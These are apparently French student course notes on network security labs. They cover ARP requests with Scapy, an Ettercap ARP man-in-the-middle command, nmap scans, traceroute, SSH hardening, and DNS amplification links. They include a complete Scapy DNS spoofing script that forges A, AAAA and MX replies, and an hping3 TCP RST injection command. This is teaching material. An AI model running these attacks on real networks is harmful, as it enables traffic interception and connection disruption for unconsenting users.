--- tags: TCOM title: SWRAD --- # SWRAD ## Mail qgx.prof@gmail.com ## Liens cvedetails.com : Site de recensement des failles sur des équipements réseaux ## Scapy ### Envoie d'une requette ARP ```python=1 #! /usr/bin/env python3 from scapy.all import * conf.L3socket = L3RawSocket p = Ether(dst="FF:FF:FF:FF:FF:FF", src="9c:b6:d0:ee:b7:21")/ARP(op="who-has", hwdst="00:00:00:00:00:00", pdst="10.41.169.64", hwsrc="9c:b6:d0:ee:b7:21", psrc="10.41.178.147") sendp(p) ``` ## Ettercap ### Man in the middle Pour lancer le man in the middle il faut lancer cette commande sur la machine de l'attaquant : ``` sudo ettercap -T -M arp /10.41.169.64// /10.41.254.254// ``` Pour verrifier si il a fonctionné il faut lancer wireshark et filter les resultats avec le filtre : ``` icmp.type==8 ``` La victime doit lancer `ping 9.9.9.9` par exemple et on le verra sur le wireshark de l'attaquant. ettercap route les packets vers la gateway tout seul. ## Dénis de service Un dénis de service peut être fait en se faisaiant passer pour un switch ors de la phase d'élection de la root. Par défaut il faut désactiver le STP sur les port des switch qui ne le necessite pas. ## Exploration de réseau ### Nmap List des machines sur le réseau : ``` nmap -n -sn 10.41.0.0/16 ``` ### Traceroute Permet de savoir par ou passe nos packets sur Internet. ``` kali@kali:~$ sudo traceroute -T epita.fr traceroute to epita.fr (151.101.66.159), 30 hops max, 60 byte packets 1 10.41.254.254 (10.41.254.254) 4.244 ms 4.218 ms 4.207 ms 2 ro-ss-7600.int.ionis-it.com.0.0.10.in-addr.arpa (10.0.0.161) 2.716 ms 3.549 ms 4.179 ms 3 ro-9000.int.ionis-it.com (10.0.1.254) 4.170 ms 4.162 ms 4.153 ms 4 * * * 5 ro-9000-fw-th2-prs-gw.ionis-it.com (163.5.2.0) 4.728 ms * * 6 100.100.0.22 (100.100.0.22) 5.296 ms 8.986 ms 8.361 ms 7 100.99.0.9 (100.99.0.9) 4.523 ms 4.962 ms 6.382 ms 8 100.99.0.7 (100.99.0.7) 6.358 ms 100.99.0.3 (100.99.0.3) 6.335 ms 6.314 ms 9 * * 100.99.0.45 (100.99.0.45) 7.049 ms 10 * fastly_s.equinix-ix.fr (195.42.145.132) 7.003 ms * 11 151.101.66.159 (151.101.66.159) 7.880 ms * * ``` Les lignes avec `* * *` représente des routeurs qui ne renvoie pas de réponse ICMP. ### Scapy ``` ! /usr/bin/env python3 from scapy.all import * res, unans = traceroute(["assistants.epita.fr", "www.epita.fr", "ssi.gouv.fr"], dport=80, maxttl=20, retry=-2) res.graph(target="> ./graph.svg") ``` ## Exercice pour le prochain cours (9 octobre) Exercice page 23 Correction possible : ```python #!/usr/bin/env python # nom.prénom - TCOM 2021 # python 3.8.5 from scapy.all import * conf.L3socket = L3RawSocket dnsserv = "8.8.8.8" dnsport = 53 domain = "www.google.fr" domain_dot = domain + "." dns_qtypes = ["A", "AAAA"] domain_ip = [] interface="eth0" case1_spoof_ip = "1.2.3.4" case1_spoof_port = 44 case2_spoof_ip = "::2" case2_spoof_port = 44 case3_spoof_exchange = "mail.swrad" case3_spoof_preference = 40 def spoofer(packet): if IP in packet and packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0: dns_qr = packet.getlayer(DNSQR) if dns_qr.qname.decode() == domain_dot and dns_qr.qtype == 1: # 1 = Type A to_send = IP(dst=packet[IP].src, src=packet[IP].dst)/ \ UDP(dport=packet[UDP].sport)/ \ DNS(id=packet[DNS].id, qr=1, aa=0, qd=packet[DNS].qd, qdcount=1, \ ancount=1, nscount=0, arcount=0, \ an=(DNSRR(rrname=dns_qr.qname.decode(), \ type='A', \ ttl=case1_spoof_port, \ rdata=case1_spoof_ip)), \ ns=None) send(to_send, verbose=0) print(domain_dot + " A? => " + case1_spoof_ip) elif dns_qr.qname.decode() == domain_dot and dns_qr.qtype == 28: # 28 = Type AAAA to_send = IP(dst=packet[IP].src, src=packet[IP].dst)/ \ UDP(dport=packet[UDP].sport)/ \ DNS(id=packet[DNS].id, qr=1, aa=0, \ qd=packet[DNS].qd, qdcount=1, \ ancount=1, nscount=0, arcount=0, \ an=(DNSRR(rrname=dns_qr.qname, \ type='AAAA', \ ttl=case2_spoof_port, \ rdata=case2_spoof_ip)), \ ns=None) send(to_send, verbose=0) print(domain_dot + " AAAA? => " + case2_spoof_ip) elif dns_qr.qname.decode() == domain_dot and dns_qr.qtype == 15: # 15 = Type MX to_send = IP(dst=packet[IP].src, src=packet[IP].dst)/ \ UDP(dport=packet[UDP].sport)/ \ DNS(id=packet[DNS].id, qr=1, aa=0, \ qd=packet[DNS].qd, qdcount=1, \ ancount=1, nscount=0, arcount=0, \ an=(DNSRRMX(rrname=dns_qr.qname, \ type='MX', \ preference=case3_spoof_preference, \ exchange=case3_spoof_exchange)), \ ns=None) send(to_send, verbose=0) print(domain_dot + " MX? => " + case3_spoof_exchange) else: qtype_field = dns_qr.get_field('qtype') print(dns_qr.qname.decode() + " " + qtype_field.i2repr(dns_qr, dns_qr.qtype) + "?") for dns_qtype in dns_qtypes: dnsreq = IP(dst=dnsserv)/UDP(dport=dnsport)/DNS(rd=1, qd=DNSQR(qname=domain, qtype=dns_qtype)) # rd = Recursion Desired dnsres = sr1(dnsreq, verbose=0) domain_ip.append(dnsres.an.rdata) print(domain + " " + dns_qtype + " " + dnsres.an.rdata) domain_ip_A = domain_ip[0] domain_ip_AAAA = domain_ip[1] sniff(count=0, iface=interface, filter="udp port 53", prn=spoofer) ``` ## TCP RST Avec cette exercice on ferme un connexion TCP entre deux machines. Commande Serveur : ``` nc -l -p 1234 ``` Commande Client : ``` nc 127.0.0.1 1234 ``` Commande tcpdump : ``` tcpdump -n -i lo -S "src port 1234" ``` Commande Attaquant : ``` hping3 -p 1234 -s 32836 -R -M 2948493844 127.0.0.1 ``` - `-s 32836` : Port source à changer, on trouve le sur tcpdump Il est possible d'inverser -s et -p, cela va envoyer la déconnexion au client ou au serveur. *(Dans la commande ci-dessus on déconnect le serveur)* - `-M 2948493844` : Numéro de séquance à changer, on le trouve sur tcpdump ## Le port knocking [Wikipedia (port knocking)](https://fr.wikipedia.org/wiki/Port_knocking) ## Comment sécuriser un serveur SSH On refuse la connexion par mot de passe et on authorise que la connexion par échange de clé. Le mieux est d'empécher la connexion root. Dans le fichier de configuration (souvent `/etc/ssh/sshd_config`) on devrait avoir au moins : ``` PermitRootLogin no PubkeyAuthentication yes PasswordAuthentication no ``` ## DDoS par amplification DNS Explication simplifié d'un DDoS par amplifiacation DNS : [Article Cloudflare](https://www.cloudflare.com/fr-fr/learning/ddos/dns-amplification-ddos-attack/)